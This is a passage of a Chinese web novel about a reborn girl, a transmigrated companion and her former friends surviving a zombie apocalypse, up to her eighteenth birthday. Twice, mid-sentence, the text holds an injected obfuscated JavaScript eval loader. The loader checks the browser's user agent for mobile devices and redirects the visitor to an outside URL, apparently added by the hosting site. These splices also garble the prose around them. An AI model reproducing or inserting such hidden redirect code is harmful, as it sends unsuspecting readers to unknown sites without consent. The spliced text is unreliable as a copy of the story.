不过江望曦知道,她在某个时间节点,一定会在海晏区。 至于现在,他还有更重要的事。 江望曦望向窗外金灿灿的夕阳,远处还能看见人与丧尸的厮杀,鲜血四溅,胳膊腿乱飞。 他的深蓝色的眸子里倒映着夕阳与血色,衷心希望桑寄月能在她的乐园中,玩得开心。 …… 桑寄月臭着一张脸,看起来情绪很差。 从外面打探完消息回来的盛星舟坐在她旁边,伸出五指在她眼前晃了晃:“你怎么了,一脸不开心。” “军方怎么还没撤退完?” 他们已经离开住了两个月的小家,此时正在往海晏区的方向前行,意外遇上了清剿丧尸的军方。 桑寄月就没有再往前走,窝在车子里和大福玩,盛星舟则是去打探消息。 “估计也就明天了。”盛星舟回答她的问题,说道:“应该是最后一支小队。” 桑寄月:“那等他们走了我们再走。” 盛星舟忍了忍,终于没忍住问:“月姐,你应该挺多仇家的吧。” “对。”桑寄月回答得很干脆:“我巴不得那群人今天就死。” “那军方里也有你的仇家?”盛星舟需要先做好心理准备。 “这倒没有。”桑寄月撇了下嘴:“只是不想和任何基地的人扯上关系。” 桑寄月想做潇洒的独行侠,虽然她仍会带上盛星舟。 “那就好。”盛星舟松了口气,然后又神秘兮兮的说:“你猜我刚才过去的时候看到什么了?” 桑寄月瞥他一眼,不太想理:“什么。” 得到回应的盛星舟情绪高涨,立刻说道:“有人在抓丧尸!” 桑寄月微愣。 “不愧是军方的人,真是不怕死。”盛星舟啧啧称奇:“丧尸要咬他,反手就被带上了嘴套,你说他们抓丧尸干嘛?总不能是养着玩吧?该不会是……” 盛星舟想起很多末世小说里都会出现的科学怪人:“做丧尸实验?” 桑寄月往外看了一眼,金红的夕阳打在她白皙的小脸上,很是漂亮,但某种猜测在心中腾升,她的表情看起来更臭了。 盛星舟不明所以,还以为桑寄月是不喜欢这个话题。 “别不开心啦,你不是说大福的狗粮要吃完了吗?这附近有家宠物店,我们去给小狗找点物资?” 桑寄月被吸引了注意力,拉开车门,脚步轻快的跳下车。 隔着一条尚在鏖战的街道,两人走进了一家卖宠物用品的店面,这家店并未受到太大的迫害,尚算干净。 青州区是燕城里最先得到救援的区域,所以这里的人也还没饿到去吃猫粮狗粮,这里的粮食保存完整,够大福吃上一段时间了。 桑寄月拿着一袋狗粮看保质期和配料表,没问题就扔给盛星舟,除此之外她还拿了不少的零食和罐头,虽然不是她要入口的但她也异常挑剔,这一番挑挑拣拣下来,放进空间里的其实没多少。 盛星舟问:“真不全装上吗?吃完了怎么办?” 以后要想再找的话就没那么容易了。 “不用。”桑寄月看了眼小狗脖子上磨损严重的项圈,又跑过去找新的项圈,她挑着,又接着说:“大福都十二岁了,估计也活不了几年,给他拿的狗粮,足够他再吃两年了。” 盛星舟皱眉:“你就指望它只能再活两年吗?” “不是。”桑寄月默然了一瞬。 是她只剩下两年了。 只不过没必要和盛星舟说。 “那是什么?”他似乎不太高兴桑寄月的说法。 大福摇晃着尾巴,天真的看着他们,并未察觉到他们情绪微妙的转变。 “盛星舟。”她忽然喊了一声他的名字,迎着他疑惑的目光,她轻声发问:“那如果狗粮吃完了,你可以给大福做狗饭吗?” “人饭都做了,还差狗饭吗?” 桑寄月笑了一声:“那以后大福就交给你照顾了。” 盛星舟自觉被委以重任,腰杆都挺直了,他不忘说:“也不一定要等狗粮吃完啊,我现在就可以给它做狗饭。” 不就是少油少盐吗,完全可以和给桑寄月炒的菜一锅出。 “不急,大福活得久的话,有的是你照顾的时候。”桑寄月弯着唇开口:“现在我要照顾大福。” 盛星舟:“……” 可是桑寄月明明除了遛狗什么都不干,捡屎都是他来的。 虽然盛星舟也开始喜欢在心里偷偷骂她,但桑寄月并没有发现,她拿起两根项圈,问盛星舟:“你觉得哪个好看?” 少女粉和酷酷黑。 盛星舟说:“粉的。” “那给你。”桑寄月将项圈往他脖子前一扔,被他接住,她已经蹲下来给大福换上超级酷的黑色项圈了。 盛星舟:“不是,你问我不是为了给狗戴吗?” “你自己选的,不喜欢吗?”她的唇角弯着,有种做完坏事后的小得意。 “我又不是狗。”盛星舟将项圈扔进空间里,收好了桑寄月给的礼物,迎着她漂亮的眸子,他说:“还笑,再笑咬你了。” 桑寄月笑得更开心了,她说:“你喜欢粉色吗?你小时候玩芭比娃娃还是奥特曼呀?” 盛星舟和桑寄月不一样,他从小就不是个家里蹲,会走路就在外面疯跑,坐下来摆弄那些玩具可不是他的风格。 他反问:“你呢?” “我有粉色的奥特曼,妈妈特地给我定制的。”桑寄月站起来,和大福往外走:“你如果早点认识我,我还可以给你看粉色的奥特曼,不过现在没有了,都被烧掉了。” 盛星舟愣了一下,心中一沉:“你别伤心,谁烧的?我去教训他。” “我烧的。”桑寄月一脸莫名的看了眼盛星舟:“我把我家烧了的那天你不是在吗?我以为你会记得很清楚。” 毕竟他那天是连滚带爬逃走的。 盛星舟:“……” 他的确不该忘记那惨痛的一天。 …… 海晏区,渭河街117号。 末世前这是一家大型商超,殷乔和她的几个同学来到这里,是为了收集物资。他们都是她非常信赖的伙伴,所以也都知道她身怀空间的秘密。 而他们被困在这里已经一个月的时间。 从燕城大学逃出来后,他们就来了这里,本来是打算收集完物资就离开的,但这商超里聚集着的人实在是太多了,引发了恐怖的丧尸潮,他们便被堵在了这里,根本无法离开。 丧尸在不断的突破着他们的防线,这座巨大的商超里,每天都在死人。 到今天为止,只剩下他们五人。 很快就会轮到他们了。 他们如今是在商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046126|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超的六楼,最顶层,其余五楼全部都是丧尸,正在不停的撞击着货架撘起的薄弱防线,甚至还有丧尸跌起了尸墙,正在往上爬。 三个男生正一人守着一方,有丧尸爬上来就将他们打下去,但在这满是丧尸的地方,也只是在做垂死挣扎罢了。 换班下来的殷乔神情疲倦,但清澈的眸子里洋溢着坚定的光泽:“我们没有时间再等下去了,我提出的计划,就让我去履行。” 旁边的女生的面色也不太好看,她垂在身侧的手臂鼓着漂亮的肌肉线条,极具力量的美感,她回答:“乔乔,这是六楼,别说你没办法爬下去,万一在这过程中丧尸从窗户里爬出来怎么办?” 这商超的大门被拥堵得丧尸群给挤得关上了,像是一个巨大的沙丁鱼罐头,殷乔想从外到里将门打开,引开丧尸。 从六楼到一楼,他们只有一根用各种布料串连成的绳子可以使用,殷乔体重最轻,那根绳子也只能承受她的重量。 但他们没有人愿意让殷乔去冒险。 “洛安,帮我拉住绳子。”殷乔不再多说,飞快的往他们早已搭建好的绳索跑。 殷乔没有给林洛安拒绝的机会,她的整个身子已经探出了窗外,林洛安连忙扑过去拉着绳索,紧张的往下看。 娇小的身影不断向下攀爬着,墙面很滑,旁边的窗户里还有丧尸嗅见殷乔的气息,疯了一样的撞击着窗户。 玻璃碎片迸裂,一只丧尸攥住了脆弱的绳索,尖锐的爪子划过,绳索断裂,她单薄的身体直直下坠—— 林洛安声嘶力竭:“乔乔!” 不断下落的殷乔心中一片绝望,她救不了她的朋友们了,他们会一起死在这。 预想中的疼痛没有传来。 殷乔落在了松软的床垫上,蹲在她旁边的少女歪着脑袋看着她,声音柔软:“乔乔,好久不见啦。” 殷乔不可置信的看着她:“阿月,你怎么会……” “我来找你呀。”桑寄月伸手将殷乔拉起来:“时间刚刚好。” 殷乔看着她,几乎喜极而泣:“你还活着,我也还活着,真好,阿月,真好。” “是呀。” 刚清理完窗户里掉出来的丧尸的盛星舟看看桑寄月,又瞥了眼殷乔,她们之间的关系,好像并不差啊? 殷乔声音急切:“阿月,洛安他们都还在楼上,我要把门打开引开丧尸……诶,不对,还有多余的床垫吗?” 这床垫当然不可能是桑寄月搬过来的,殷乔的目光终于落在了盛星舟的身上,她看见盛星舟的时候愣了一下,似乎更不可置信了。 “学长?” 桑寄月:“学长?” 盛星舟:“啊?我吗?” “……” 殷乔看见盛星舟也很开心,虽然没有看见桑寄月那么开心,她说:“盛星舟学长,我是殷乔呀,我们一个社团的。” 桑寄月的目光在殷乔和盛星舟身上打转,她的脸上没了笑意,眼神深沉。 盛星舟……学长? 学长? 桑寄月对殷乔口里的学长有印象,被殷乔称之为学长的,也只有那个倒霉蛋。 上辈子桑寄月听说,他们被困在这里的时候,殷乔去开门引丧尸,但她从楼上摔了下来,腿骨折了,从楼上摔下来的丧尸也朝着她扑过来。 绝望之时,是她的一位学长找到了她,奋力清理了丧尸,然后选择帮殷乔去开门引丧尸。 那是个不自量力的蠢货,最后虽然救出了林洛安那群人,但他也被丧尸淹没,连骨头都没剩下。 最后他得到了殷乔永远的怀念。 也是他的荣幸了。 但是话又说回来了,那个人就是盛星舟吗? 如果是这样的话,他为什么会莫名其妙的跑到静安区御水湾来找她? 如果盛星舟和她的情况一样,那也该去找殷乔才对啊。 桑寄月意识到她不能再什么都不过问了。 恰巧殷乔还要床垫给林洛安那群人垫背,桑寄月和盛星舟借去附近的家居店搬床垫的理由,暂时脱离了殷乔的视线。 盛星舟自认正是危急时刻,他差点跑起来,但桑寄月在他后面慢悠悠的走着,轻飘飘的喊了一声:“盛星舟。” 他又匆匆忙忙的跑回来。 “怎么了月姐?” 桑寄月停住脚步,靠在身后的墙壁上,平静开口:“你不是一直有问题想问我吗?公平起见,我们一起问。” 盛星舟惊讶:“现在吗?” 桑寄月肯定的颔首。 四周安静得仿佛只剩下了他们的呼吸声。 两人的目光对上,然后同时开口—— “你也是穿书吗?” “你也是重生吗?” “……” 18. 误会 荒谬。 实在是太荒谬了。 无论是桑寄月还是盛星舟,在问出那句话之后都不约而同的闭嘴了。 事情的奇怪程度远超他们的认知。 桑寄月不太明白“穿书”是什么,但如果从字面意思理解的话……她在的这个世界,难道是书中世界吗? 没错,没错。 如果是这样的话,主角是谁也并不难猜。 桑淮。 或许还有殷乔。 那么一切她曾费解的事情就都说得通了,譬如说桑淮为什么从头到尾都受命运的眷顾。 桑寄月瞥了眼一脸惊恐感觉自己闯祸了的盛星舟,她冷笑了一声。 盛星舟骤然回神。 他一开始猜的就是桑寄月和他一样,是穿书的,结果没想到她竟然会是重生。 重开一把她什么都知道了,哪里还用得着他来拯救啊。 初见桑寄月时到现在的一幕幕,不断的涌上盛星舟的心头。 难怪啊。 都重生了,上辈子受了那么多委屈,桑寄月变/态点怎么了。 他当时都闯进她家了,处于噩梦般的记忆里整个人都紧绷的状态下,她竟然只是捅了他两刀,这已经很不容易了。 他可以理解。 盛星舟很快就想开了,他像之前一样咧着嘴笑出一口大白牙,很是阳光:“月姐,床垫还搬吗?” “搬。”桑寄月看起来冷淡了不少,没看盛星舟,不知道是在想什么。 盛星舟磨磨蹭蹭:“你应该和那群人有仇吧,让他们死在那不好吗?” 虽然七四没给他剧本,但盛星舟猜测和女主待在一起这么久的那些人,十有八九是主角团的组成部分,那肯定都不是什么好东西。 盛星舟戴上有色眼镜后感觉整个世界都清晰了。 “你……”桑寄月惊诧的微张着嘴:“吓疯了?” 盛星舟微笑:“我正常的,月姐。” “去搬床垫。” 盛星舟撇了下嘴,不情不愿的去了。 殷乔等得可着急了,楼上的林洛安看见她是摔在床垫上,松了口气,他们也在此刻看到了希望。 床垫终于搬了过来。 殷乔试了试,确认足够柔软之后,朝着林洛安比着手势,示意他们跳。 桑寄月靠在一边,面无表情的看着他们一个一个的跳下来,在心里诅咒着他们最好摔烂脑袋。 直到最后一个清瘦的少年一跃而下,落在柔软的床垫上,桑寄月的眼神才缓和了些许。 在发觉楼上的气息消失之后,丧尸们变得尤为暴躁,接二连三的从窗户里掉出来,想必要不了多久,这整条街就都会全都是丧尸。 此地不宜久留,也来不及多说什么,一行人便往远处跑去。 他们跑进了一座废弃的烂尾楼,楼后是尚未开发的荒山,山脚还有一条潺潺的溪流,在明媚的阳光下像是剔透的宝石。 桑寄月自然是知晓他们会在这里落脚的,被暂时安置在这里的大福看见他们回来了,在她和盛星舟脚边转了一圈,又摇着尾巴去找殷乔。 殷乔也顾不得地上脏,坐在地上气喘吁吁,见大福过来了,她很是高兴:“大福大福,有在好好保护阿月哦,你是乖宝宝~” 桑寄月:“是我在保护它。” “我知道,阿月也保护了我们,你也超棒的哦小宝。”殷乔满脸笑容的说。 盛星舟站在桑寄月旁边,小声问:“月姐,她怎么叫你小宝啊。” “阿月的小名是小宝呀。”殷乔听到了,回答盛星舟。 盛星舟张了张嘴,被桑寄月冷眼一扫,又闭嘴了。 他们聊了几句后去附近察看周边情况的另外四人也回来了,询问过殷乔有没有摔伤后,说起了目前的情况。 这里还隐秘,短时间内不会有丧尸找来,他们也可以在这里休整一段时间,况且最重要的是……他们也不知道接下来他们该去哪里。 听说军方早已开始救援,但海晏区里多是大学,人口密集,救援的难度很大,至少他们不能只将希望寄托在军方。 聊完了正事后,林洛安身边的男人好奇的打量了桑寄月和盛星舟一眼:“话说回来了,你们是?” 桑寄月笑容甜美的开口,看起来很乖:“哥哥好,我是桑寄月。” “桑淮是你什么人啊?” “是我的哥哥哦。” 男人扭过头去看了旁边的林洛安一眼,似乎有些纳罕。 桑寄月勾着唇说道:“洛安姐姐和哥哥说起过我吗?” 许致远不吭声了。 因为真的说过,不过是坏话。 据说这姑娘表面上笑得很甜,实则背地里坏心眼很多,非常厌恶她的哥哥桑淮,经常没理由的给他使绊子。 殷乔见气氛不太对,连忙出来打圆场,给他们和盛星舟做了介绍。 林洛安与许致远是男女朋友,坐得离他们有些远的青年是叶临,目光时不时落在桑寄月身上的清瘦少年是林洛清,他也是林洛安的弟弟。 互相认识了一番后,殷乔从空间里变着法一样的拿出了各式各样的家具还有清洁工具,拍拍手对着所有人说道:“我们要在这里住一段时间,良好的居住环境会给我们带来一整天的好心情,小伙伴们打扫起来吧,装扮一下我们的新家。” 桑寄月做出惊讶的表情:“乔乔,你会魔法吗?” “是的,阿月想要什么我都能给你变出来。”殷乔说着,摸出一罐子糖果,放进桑寄月手里:“拿去和清清分享,你们俩去旁边玩吧。” 桑寄月还真抱着糖果罐去了一边。 盛星舟和大福跟着她,他显然没有加入主角团去干活的想法。 可是为什么那个小趴菜也跟过来了。 那边,叶临走到了殷乔的旁边,用不赞同的语气说:“乔乔,你不该在外人面前暴露你有空间的事情,这可能会给你带来危险。” 殷乔听了,眉头微微皱了起来:“你是在说阿月吗?临哥,我们这群人都是在同一个小区长大的,你不该这么误会阿月!她刚才还救了我们!” 除了许致远以外,他们几个人都是在静安区的御水湾里长大的,身世显赫的少年们一同成长,也都考进了同一所大学。 末世爆发的时候是七月初,正是期末周,他们都在学校,除了临时回家去拿资料的桑淮。 虽然殷乔很想问问桑寄月桑淮是去了哪里,但想到他们家那复杂的关系,她还是没有主动向桑寄月提起桑淮。 反正阿月现在看起来也过得挺好,旁边有狗,还有恨不得挂她身上的盛星舟。 殷乔和她的伙伴们正在收拾这层烂尾楼,盛星舟不太友善的瞥了眼林洛清,林洛清恍若未觉,朝着桑寄月露出笑容:“阿月,我们可以单独聊聊吗?” “可以的,哥哥。”桑寄月说完后,发现盛星舟站着不动,她眉头微皱,又很快重新露出笑容:“哥哥,你可以回避一下吗?” 也不知是桑寄月的哪个字惹到了盛星舟,他瞪了桑寄月一眼,扭头就走。 桑寄月的声音从背后传来:“帮乔乔搬下沙发,麻烦你了哥哥。” 都让他走了还让他干活! 盛星舟当然不会去搬什么沙发,他去殷乔那里给桑寄月挑床了。 在这间隙,他偷摸的打量着他们。 年龄相仿的少年少女在角落里说着话,桑寄月微微仰着脸,脸上又戴上了那具甜美笑容的面具,看着她的笑容,他也分不清这究竟是真的还是假的。 他们似乎有说不完的话,虽然大多数时候都是林洛清在说,但桑寄月的表情始终没有变过,温柔而耐心,无论林洛清说什么,她都会笑着回应。 还从殷乔给她的糖果罐里摸出了一颗糖果,放进了林洛清的手心。 大家都在忙碌,林洛清也没有和桑寄月说太多,只是询问了她这段时间的情况,然后就去帮着大家整理屋子了。 桑寄月抬脚出去。 一直注意着她的盛星舟立刻跟了上去。 他三两步就追上了桑寄月,偏过脑袋去看时,她的脸上又没什么表情了,嘴角轻微的抿着,看起来有些僵硬。 变脸变得还挺快。 绕到楼后的那条小溪边后,桑寄月才停住了脚步,看向盛星舟:“说说吧,你有什么想问的。” 桑寄月要继续刚才关于穿书与重生的话题,她要从盛星舟口中知道关于这本“书”更多的信息,以及他的目的。 但其实盛星舟的目的也并不难猜,他潜伏在她身边,十有八九是为了要阻止她复仇,毕竟他肯定帮主角。 一旦确认,桑寄月会立刻让盛星舟滚蛋。 而在这之前,想要盛星舟说实话,她必然要先抛出一定的砝码,所以她让盛星舟先问。 盛星舟冷哼了一声,不太高兴的说:“算你识相,还会跟我解释,你和他们到底什么关系?” “邻居。”桑寄月言简意赅:“除了许致远,我们都在同一个小区长大,从小就认识,除了乔乔和清清哥哥,另外两个都是桑淮的走狗。” 桑寄月从小就不喜欢和他们来往,尤其是在桑淮住进御水湾中更甚,他们在一起玩得久了,倒是成了小团体。 盛星舟:“亲亲哥哥?多亲啊?” 桑寄月:“?” 他嘟囔道:“我还以为你只叫我哥哥呢。” 桑寄月没想到盛星舟一直在问废话,她深吸一口气,勉强耐心的说:“妈妈从小就教导我要懂礼貌会喊人,但他们的名字我不想记,所以男的喊哥哥女的喊姐姐,这样不会出错。” 当然也不是一直都不会出错的。 她小时候连六七十岁的爷爷奶奶都能甜甜的喊哥哥姐姐,被妈妈训过一顿后她终于在喊人前肯正眼看人了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051357|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好吧。”盛星舟接着问:“那你明明很讨厌他们,为什么要让我去搬床垫?是不是因为林洛清?” “嗯。”桑寄月有些莫名的看了盛星舟一眼,他不是穿书吗?怎么还什么都不知道的样子? 桑寄月答得干脆,盛星舟也问得直白:“你和他早恋了?” 桑寄月:“?” “没有。”她忍住不耐:“而且下周我就成年了。” 盛星舟的注意力偏移:“月姐,你生日要到了啊,有想要的礼物吗?” “你如果没什么想问的,就轮到我了。”桑寄月直接转移话题:“我觉得我们更应该继续之前的话题,比如说,你说你是穿书,你的目的是什么?” 盛星舟:“我……” 他张了张口,在想能不能直接告诉桑寄月,按理说某些词应该是禁忌,他如果就这么说了肯定会被电击的,但七四在他们坦白的时候就跟死了一样,直到现在都没冒出来多说过一个字。 既然系统不管,那他也不管了。 “我的目的很难猜吗?”盛星舟看着桑寄月,很认真的说道:“我一直都在认真的完成我的目的,而且见你的第一面我就已经和你说过了。” 他的目的就是保护她。 桑寄月愣了一下:“你不是为桑淮来的?” 她是桑淮故事里的丑角。 怎么会有人告诉她,他是来帮助她的。 “当然不是。”盛星舟非常肯定的说:“我来到这里,为的就是你。” 桑寄月似乎认真的思考了许久,她呢喃:“原来这就是你的目的吗。” “我一开始就说了,是你不肯信,现在信了吧。”盛星舟得意的扬了扬下巴:“信了就对我好点,我们才是一伙的。” “我明白了。” 原来盛星舟不是色胆包天的蠢货,也不是图她长得好看。 挺好。 盛星舟疑惑:“你明白什么了?” “我认为我们需要重新建立一段关系,我为过去支使你感到抱歉,但我们现在是平等的。” “什么,我们过去竟然不平等吗!”盛星舟一直觉得他们的关系非常友好正常。 桑寄月很抱歉的说:“我还以为你喜欢我,才心安理得的接受你为我做的那些琐事,不过现在既然误会说开了,我们是并肩作战的伙伴,你只要在我对上桑淮的时候适时助我一臂之力就好。” 盛星舟:“……” 他呆了好一会儿才说:“所以你是将我过去所有的行为全都归咎在我的目的上吗?” “我说得不对吗?”桑寄月歪着脑袋,很认真的发问:“不然你一开始怕我怕得要死又怎么会还要死乞白赖的跟着我呢?” 虽然但是,好像也没错。 但是盛星舟觉得还有更重要的原因。 或许一开始是因为系统,但并非一直都是因为系统。 他有些支支吾吾的说:“虽然我要保护你,但也没有必要一直给你当牛做马。” “当然,我能理解。”确认盛星舟和她始终都会是同一条战线后,桑寄月表现得非常温和:“所以你以后也不需要为我做那些琐事了,没有必要。” 他们可是要联手做大事的人。 “你不理解!”盛星舟忽然大声说。 “那你是什么意思呢?” 盛星舟似乎是很紧张,耳根泛着红,垂着身侧的手指都蜷缩了起来:“一开始我确实挺怕你的,你捅了我两刀,但是后来我发现,阿月你是超级好的人,我喜欢和你待在一起,也喜欢为你做那些琐事……不是因为那所谓的目的,你不要误会我……” 桑寄月忽然打断他的话,她的面色有些沉重:“我做什么了让你觉得我是个好人?” 这是在侮辱她吗? 她这一路上可没对盛星舟做过什么好事吧。 “你一直都很好。”盛星舟开始掰着手指头数:“你看你后来说不捅我就真的不捅我了,桑淮那么对你你也只是给她找了点嫌麻烦,后面遇见了宋铃你也竭尽全力的去帮她,末世这么危险你也带着大福一起走,给它送礼物的时候也会记得我……” 他说了很长一串。 夸她诚实守信,不计前嫌,心胸开阔,善良热心。 桑寄月都惊呆了,她万万没想到在盛星舟眼里她竟然会是这种烂好人?! 他眼睛是不是有问题啊! 桑寄月捂着脸,一脸痛苦:“你别说了。” 再夸她她真成乔乔那个小圣母了。 “好吧,那我可以继续我刚才没说完的话吗?” 桑寄月已经毫无兴趣了,因为她发现这个穿书过来的人脑子不太好。 算了,家里有一个聪明的就够了。 她随口回答:“可以。” 盛星舟接着刚才的话继续说:“……对你没有好感。” 你不要误会我对你没有好感。 19. 生日 桑寄月本来以为她知道了惊天大秘,甚至是有关于这个世界的真相。 结果听到最后竟然是盛星舟的告白。 她毫无兴趣的婉拒了他,并且警告他不要因为对她有好感而干涉她的事,否则她会直接翻脸。 然后转身离开。 盛星舟自然没有追上去,他似乎在深沉的思考着什么,七四在这个时候慢悠悠的上线:“再强调一次,我们是拯救系统,不是攻略系统,你还表白上了,被拒了吧,活该。” “其实也不是全无收获。” 七四:“你收获啥了?我怎么不知道?” “原来阿月对她的追求者都是这副态度。”盛星舟开心的说:“看来阿月和林洛清确实毫无关系,还不如我呢。” 七四:“……” 这就从有好感变成追求者了? 七四对此也无所谓,毕竟总有脑子不清醒的宿主非要去吃爱情的苦。 “话说回来,我真的就能这样把我的来历告诉阿月吗?”趁着七四上线,盛星舟不忘问道。 七四的语气很平静:“为什么不能呢?” “按理说这种不应该是绝密吗?我如果说出来是要被电击的那种。” “是这样的。”七四非常高深莫测的说:“但这个世界不一样。” “为什么?” “以后你会知道的。” 七四装完逼之后快速下线。 …… 在盛星舟激情告白后,他和桑寄月的关系也并未迎来实质性的改变,之前说过不用他来忙她琐事的桑寄月,依旧心安理得的接受着他的照顾。 盛星舟自然是松了一口气的。 桑寄月发现了,还多问了一嘴他怎么了,听到答案之后,少女很不客气的嗤笑:“我为什么要躲着你?心里有鬼的人又不是我。” “虽然但是,阿月,我心里有你,不是有鬼。” 好听的话依旧是张口就来,不过现在可不会掉好感了。 他们这段时间就一直和殷乔等人住在烂尾楼里,这里之前很显然是要修成一家酒店,所以隔开的房间很多,有了殷乔从空间里拿出来的家具布置一番,倒也是相当不错的落脚点。 虽然盛星舟并不喜欢和他们一起生活,但耐不住桑寄月非要留下来,为此林洛安还会时不时的挤兑她两句,但桑寄月在外人面前表现出了脾气异常好的模样,林洛安碰了几次软钉子之后就和从前一样,继续无视她了。 他们白天的时候会出去清理游荡在附近的丧尸,不过桑寄月从不动手,开始维持她的柔弱人设。 现在已经秋天,但盛夏的热意尚未过去,直到今天下起了一场瓢泼大雨,将他们的气息冲刷了个干净,他们今天自然也不用出去杀丧尸了。 但是盛星舟要出门帮桑寄月遛狗。 等他回来的时候已经全身湿透,桑寄月瞥了他一眼,慢慢的说:“怎么弄得湿答答的呢。” “没事,一会儿就干了,我身体好,不会生病。”盛星舟笑容灿烂。 “我说狗。” 盛星舟冷哼了一声,看起来好像有点小脾气了。 桑寄月扔给盛星舟一块干燥的毛巾:“擦擦吧。” 他接过,蹲下,往大福身上擦,但刚抬手,就被桑寄月按住了。 她白皙的指尖落在他的手背,力度很轻,却让盛星舟的动作倏的顿住。 “怎么了?” 桑寄月似乎是觉得有点好笑,她说:“我说你。” 毛巾是给盛星舟的。 盛星舟顿了一下才反应过来,但桑寄月已经牵着大福走了。 她没有和殷乔他们住在同一层,她和盛星舟住在他们的上一层,一整楼就只有他们两个人。 给大福脱下雨衣擦干雨水后,桑寄月走到了窗户边,她的手按在粗糙不平的窗台上,看着外面的瓢泼大雨,淅淅沥沥落下的雨水冲刷着这几个月来的燥热与血腥,一阵风吹过,有几丝冰凉的雨水被吹到了她的脸上,带来一阵凉意。 桑寄月往后退了两步,避开这阵凉意,杜绝生病的可能性。 她望着碎珠般串连着的雨幕,一阵恍惚。 在这场将要持续三天三夜的暴雨中,世界将焕然一新,少部分人将会获得无法用科学来说明的超自然力量,那种被称之为异能的神奇能力,让某些人注定不会在这末世中平庸。 譬如说桑淮。 他会觉醒攻击性极强的雷系异能,自此之后,所向披靡。 殷乔小队里的所有人除了殷乔,也都会相继觉醒异能。 当时没有异能的,除了殷乔,就是她。 只不过她当然是不能和殷乔比的。 想要在他们的小队留下来,就势必得有价值,她曾拼了命的去杀丧尸,想要获得一席之地。 然而注定是仇敌的人,不会因为她的拼命而改变。 桑寄月上辈子花了两年时间,直到把孱弱的身体彻底耗空,才豁然开朗。 这一次她要把他们耗空,不惜代价。 反正也就这两年了。 桑寄月相信接下来的生活一定会非常有意思,上辈子经历过的,她会原封不动的还回去。 虽然可能会有些艰难。 但她不是独自一人在复仇,盛星舟一定会帮她的,就是他最好能觉醒异能,不然他们接下来的日子可能会有些难过。 当夜。 桑寄月还在听着雨声发呆的时候,外面忽然传来了一阵脚步声,门帘外有火光晃动,殷乔的声音随之传来:“阿月,我可以进来吗?” 得到桑寄月的回应后,门帘被掀开,殷乔脚步轻快的走了进来,她的身后是捧着一个奶油蛋糕的林洛清。 桑寄月其实不算太意外,因为这两每年都这样,十二点准时捧着个蛋糕过来给她庆生。 上辈子最后一次和他们过生日还是她满十七岁,末世之后,什么都变了。 殷乔和林洛清异口同声:“阿月,生日快乐~” 隔着生日蜡烛上朦胧温暖的火光,桑寄月有一瞬间的恍惚。 林洛清将蛋糕放在桌面上,清瘦的少年脸上露出一丝笑容:“怎么呆呆的?我们不是每年都会来吗?” “还好今年阿月找到我们啦,不然我们小宝的十八岁生日就要一个人过了,我要哭死了。”殷乔把桑寄月拉过来坐下。 桑寄月歪头看着坐在她左边的殷乔,似乎有点疑惑:“乔乔,你为什么要哭死?” “阿月孤单的话我会很伤心。”殷乔笑意吟吟的说道。 “我知道,你以前说过。”桑寄月盯着那做工精巧的奶油蛋糕,似乎有些惊奇。 林洛清将一顶用纸折出的王冠戴在了桑寄月的头顶,上面还用马克笔写着“生日快乐”四个字,少年也笑着说:“要先吹蜡烛哦,小寿星。” 两个人一左一右的坐在她旁边,看她听话的闭上眼许愿,开始拍着手给她唱起了生日歌。 耳畔欢快的歌声萦绕着。 从前桑寄月每年都会许愿桑淮和沈颢眀滚出她家,或者殷乔别和桑淮玩。< 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“这怎么能说出来,说出来就不灵验啦。”殷乔接茬,又说:“但也有实现的可能性,我们来帮你实现!” 桑寄月莞尔:“我许愿哥哥以后能做出世界上最好吃的生日蛋糕,然后每年都给我过生日。” “那一定能实现了。”林洛清攥紧拳头,高兴的说道。 殷乔举手:“还有我还有我,以后我们仨每年都要在一起庆生。” “……” 少年少女们分食着奶油蛋糕,谈天说地,清亮的声音与窗外淅淅沥沥的雨声交织,犹如一曲短暂的乐章。 殷乔和林洛清离开后,桑寄月还坐在原地没有动。 那罐啤酒她也只喝了一口就被殷乔拿走,桌面上只剩下了一块没动过的小蛋糕。 在外面蹲得脚都快麻了的盛星舟试探进来的时候,看到的就是好像在发呆的桑寄月,但下一刻,桑寄月开口:“你在外面蹲那么久做什么呢?” “你竟然这么敏锐。”盛星舟惊讶,然后又解释:“你在和你朋友们过生日,我不想打扰,所以就没进来。” 她的神情非常柔和:“你也是来给我过生日的吗?” “我又不会做蛋糕。”盛星舟瞥了下嘴:“我来给你送礼物呢。” 桑寄月朝着他摊开手。 盛星舟摸出怀里藏着的信封,递到了桑寄月手中。 桑寄月瞥了一眼,随意一扔,表现得有些嫌弃。 老掉牙的家伙,竟然给她写情书。 不过桑寄月也没有对此评判什么,她将桌上剩余的那块蛋糕递给了盛星舟:“给你沾沾喜气。” “特地给我留的?” 桑寄月:“我吃剩下的。” 盛星舟也不点破,他退出房间的时候不忘说道:“阿月,我给你的信你一定要看,别忘记了。” “知道。” 他弯着唇,和她说:“成年快乐,小宝。” 桑寄月:“……” 盛星舟前脚刚走,桑寄月后脚就拿起了那张信封,干脆利落的拆开。 她倒是要看看盛星舟写了什么酸牙的情话。 里面掉出了一张极有质感的黑色卡片。 咦,不是情书吗? 桑寄月捏着那张卡片,有些疑惑。 这是什么呢? 20. 异能 这张极有质感的卡片边缘处非常锋利,桑寄月只是好奇的摸了一下,锋利的棱角便割破了她素白的指尖。 一滴圆润的血珠滴落在了卡片上。 